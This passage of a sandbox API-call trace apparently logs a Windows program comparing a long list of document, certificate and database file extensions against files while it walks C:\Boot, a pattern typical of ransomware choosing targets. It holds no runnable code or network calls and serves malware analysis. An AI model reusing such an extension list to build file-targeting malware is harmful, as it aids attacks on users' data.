(lpString=".cfml") returned 5 [0089.382] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0089.382] lstrlenW (lpString=".cfu") returned 4 [0089.382] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".chm") returned 4 [0089.383] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".cin") returned 4 [0089.383] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".class") returned 6 [0089.383] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0089.383] lstrlenW (lpString=".clx") returned 4 [0089.383] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".config") returned 7 [0089.383] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0089.383] lstrlenW (lpString=".cpp") returned 4 [0089.383] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".cr2") returned 4 [0089.383] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".crt") returned 4 [0089.383] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".crw") returned 4 [0089.383] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".cs") returned 3 [0089.383] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0089.383] lstrlenW (lpString=".css") returned 4 [0089.383] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".csv") returned 4 [0089.383] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".cub") returned 4 [0089.383] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0089.383] lstrlenW (lpString=".dae") returned 4 [0089.384] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dat") returned 4 [0089.384] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".db") returned 3 [0089.384] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0089.384] lstrlenW (lpString=".dbf") returned 4 [0089.384] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dbx") returned 4 [0089.384] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dc3") returned 4 [0089.384] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dcm") returned 4 [0089.384] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dcr") returned 4 [0089.384] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".der") returned 4 [0089.384] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dib") returned 4 [0089.384] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dic") returned 4 [0089.384] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".dif") returned 4 [0089.384] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0089.384] lstrlenW (lpString=".divx") returned 5 [0089.384] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0089.384] lstrlenW (lpString=".djvu") returned 5 [0089.384] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0089.385] lstrlenW (lpString=".dng") returned 4 [0089.385] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0089.385] lstrlenW (lpString=".doc") returned 4 [0089.385] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.385] lstrlenW (lpString=".docm") returned 5 [0089.385] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0089.385] lstrlenW (lpString=".docx") returned 5 [0089.385] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0089.385] lstrlenW (lpString=".dot") returned 4 [0089.385] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0089.385] lstrlenW (lpString=".dotm") returned 5 [0089.385] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0089.385] lstrlenW (lpString=".dotx") returned 5 [0089.385] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0089.385] lstrlenW (lpString=".dpx") returned 4 [0089.385] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0089.385] lstrlenW (lpString=".dqy") returned 4 [0089.386] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".dsn") returned 4 [0089.386] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".dt") returned 3 [0089.386] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0089.386] lstrlenW (lpString=".dtd") returned 4 [0089.386] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".dwg") returned 4 [0089.386] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".dwt") returned 4 [0089.386] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".dx") returned 3 [0089.386] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0089.386] lstrlenW (lpString=".dxf") returned 4 [0089.386] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".edml") returned 5 [0089.386] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0089.386] lstrlenW (lpString=".efd") returned 4 [0089.386] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".elf") returned 4 [0089.386] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".emf") returned 4 [0089.386] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".emz") returned 4 [0089.386] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0089.386] lstrlenW (lpString=".epf") returned 4 [0089.387] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".eps") returned 4 [0089.387] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".epsf") returned 5 [0089.387] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0089.387] lstrlenW (lpString=".epsp") returned 5 [0089.387] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0089.387] lstrlenW (lpString=".erf") returned 4 [0089.387] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".exr") returned 4 [0089.387] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".f4v") returned 4 [0089.387] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".fido") returned 5 [0089.387] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0089.387] lstrlenW (lpString=".flm") returned 4 [0089.387] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".flv") returned 4 [0089.387] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".frm") returned 4 [0089.387] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".fxg") returned 4 [0089.387] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".geo") returned 4 [0089.387] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0089.387] lstrlenW (lpString=".gif") returned 4 [0089.388] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".grs") returned 4 [0089.388] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".gz") returned 3 [0089.388] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0089.388] lstrlenW (lpString=".h") returned 2 [0089.388] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0089.388] lstrlenW (lpString=".hdr") returned 4 [0089.388] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".hpp") returned 4 [0089.388] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".hta") returned 4 [0089.388] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".htc") returned 4 [0089.388] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".htm") returned 4 [0089.388] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".html") returned 5 [0089.388] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0089.388] lstrlenW (lpString=".icb") returned 4 [0089.388] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".ics") returned 4 [0089.388] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".iff") returned 4 [0089.388] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0089.388] lstrlenW (lpString=".inc") returned 4 [0089.389] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".indd") returned 5 [0089.389] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0089.389] lstrlenW (lpString=".ini") returned 4 [0089.389] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".iqy") returned 4 [0089.389] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".j2c") returned 4 [0089.389] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".j2k") returned 4 [0089.389] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".java") returned 5 [0089.389] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0089.389] lstrlenW (lpString=".jp2") returned 4 [0089.389] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".jpc") returned 4 [0089.389] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".jpe") returned 4 [0089.389] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".jpeg") returned 5 [0089.389] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0089.389] lstrlenW (lpString=".jpf") returned 4 [0089.389] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".jpg") returned 4 [0089.389] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.389] lstrlenW (lpString=".jpx") returned 4 [0089.390] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".js") returned 3 [0089.390] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0089.390] lstrlenW (lpString=".jsf") returned 4 [0089.390] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".json") returned 5 [0089.390] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0089.390] lstrlenW (lpString=".jsp") returned 4 [0089.390] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".kdc") returned 4 [0089.390] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".kmz") returned 4 [0089.390] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".kwm") returned 4 [0089.390] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".lasso") returned 6 [0089.390] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0089.390] lstrlenW (lpString=".lbi") returned 4 [0089.390] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".lgf") returned 4 [0089.390] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".lgp") returned 4 [0089.390] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0089.390] lstrlenW (lpString=".log") returned 4 [0089.390] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".m1v") returned 4 [0089.391] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".m4a") returned 4 [0089.391] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".m4v") returned 4 [0089.391] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".max") returned 4 [0089.391] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".md") returned 3 [0089.391] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0089.391] lstrlenW (lpString=".mda") returned 4 [0089.391] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".mdb") returned 4 [0089.391] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".mde") returned 4 [0089.391] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".mdf") returned 4 [0089.391] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".mdw") returned 4 [0089.391] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".mef") returned 4 [0089.391] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".mft") returned 4 [0089.391] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0089.391] lstrlenW (lpString=".mfw") returned 4 [0089.391] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mht") returned 4 [0089.392] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mhtml") returned 6 [0089.392] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0089.392] lstrlenW (lpString=".mka") returned 4 [0089.392] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mkidx") returned 6 [0089.392] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0089.392] lstrlenW (lpString=".mkv") returned 4 [0089.392] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mos") returned 4 [0089.392] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mov") returned 4 [0089.392] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mp3") returned 4 [0089.392] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mp4") returned 4 [0089.392] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mpeg") returned 5 [0089.392] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0089.392] lstrlenW (lpString=".mpg") returned 4 [0089.392] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mpv") returned 4 [0089.392] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0089.392] lstrlenW (lpString=".mrw") returned 4 [0089.393] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0089.393] lstrlenW (lpString=".msg") returned 4 [0089.393] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0089.393] lstrlenW (lpString=".mxl") returned 4 [0089.393] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".myd") returned 4 [0089.393] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".myi") returned 4 [0089.393] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".nef") returned 4 [0089.393] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".nrw") returned 4 [0089.393] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".obj") returned 4 [0089.393] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".odb") returned 4 [0089.393] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".odc") returned 4 [0089.393] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".odm") returned 4 [0089.393] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".odp") returned 4 [0089.393] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0089.393] lstrlenW (lpString=".ods") returned 4 [0089.393] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".oft") returned 4 [0089.394] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".one") returned 4 [0089.394] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".onepkg") returned 7 [0089.394] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0089.394] lstrlenW (lpString=".onetoc2") returned 8 [0089.394] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0089.394] lstrlenW (lpString=".opt") returned 4 [0089.394] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".oqy") returned 4 [0089.394] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".orf") returned 4 [0089.394] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".p12") returned 4 [0089.394] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".p7b") returned 4 [0089.394] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".p7c") returned 4 [0089.394] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".pam") returned 4 [0089.394] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".pbm") returned 4 [0089.394] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0089.394] lstrlenW (lpString=".pct") returned 4 [0089.395] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pcx") returned 4 [0089.395] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pdd") returned 4 [0089.395] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pdf") returned 4 [0089.395] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pdp") returned 4 [0089.395] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pef") returned 4 [0089.395] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pem") returned 4 [0089.395] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pff") returned 4 [0089.395] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pfm") returned 4 [0089.395] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pfx") returned 4 [0089.395] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".pgm") returned 4 [0089.395] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".php") returned 4 [0089.395] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0089.395] lstrlenW (lpString=".php3") returned 5 [0089.395] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0089.395] lstrlenW (lpString=".php4") returned 5 [0089.395] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0089.395] lstrlenW (lpString=".php5") returned 5 [0089.395] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0089.396] lstrlenW (lpString=".phtml") returned 6 [0089.396] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0089.396] lstrlenW (lpString=".pict") returned 5 [0089.396] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0089.396] lstrlenW (lpString=".pl") returned 3 [0089.396] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0089.396] lstrlenW (lpString=".pls") returned 4 [0089.396] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0089.396] lstrlenW (lpString=".pm") returned 3 [0089.396] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0089.396] lstrlenW (lpString=".png") returned 4 [0089.396] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0089.396] lstrlenW (lpString=".pnm") returned 4 [0089.396] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0089.396] lstrlenW (lpString=".pot") returned 4 [0089.396] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0089.396] lstrlenW (lpString=".potm") returned 5 [0089.396] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0089.396] lstrlenW (lpString=".potx") returned 5 [0089.396] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0089.396] lstrlenW (lpString=".ppa") returned 4 [0089.396] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0089.396] lstrlenW (lpString=".ppam") returned 5 [0089.396] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0089.396] lstrlenW (lpString=".ppm") returned 4 [0089.396] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0089.396] lstrlenW (lpString=".pps") returned 4 [0089.397] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0089.397] lstrlenW (lpString=".ppsm") returned 5 [0089.397] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0089.397] lstrlenW (lpString=".ppt") returned 4 [0089.397] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.397] lstrlenW (lpString=".pptm") returned 5 [0089.397] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0089.397] lstrlenW (lpString=".pptx") returned 5 [0089.730] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0089.730] lstrlenW (lpString=".prn") returned 4 [0089.730] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0089.730] lstrlenW (lpString=".ps") returned 3 [0089.730] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0089.730] lstrlenW (lpString=".psb") returned 4 [0089.730] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".psd") returned 4 [0089.731] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".pst") returned 4 [0089.731] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".ptx") returned 4 [0089.731] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".pub") returned 4 [0089.731] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".pwm") returned 4 [0089.731] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".pxr") returned 4 [0089.731] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".py") returned 3 [0089.731] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0089.731] lstrlenW (lpString=".qt") returned 3 [0089.731] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0089.731] lstrlenW (lpString=".r3d") returned 4 [0089.731] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".raf") returned 4 [0089.731] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0089.731] lstrlenW (lpString=".rar") returned 4 [0089.731] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.732] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0089.732] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0089.732] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0089.732] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0089.732] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0089.732] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0089.732] lstrlenW (lpString="C:\\Boot\\el-GR") returned 13 [0089.732] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0089.733] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.733] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, 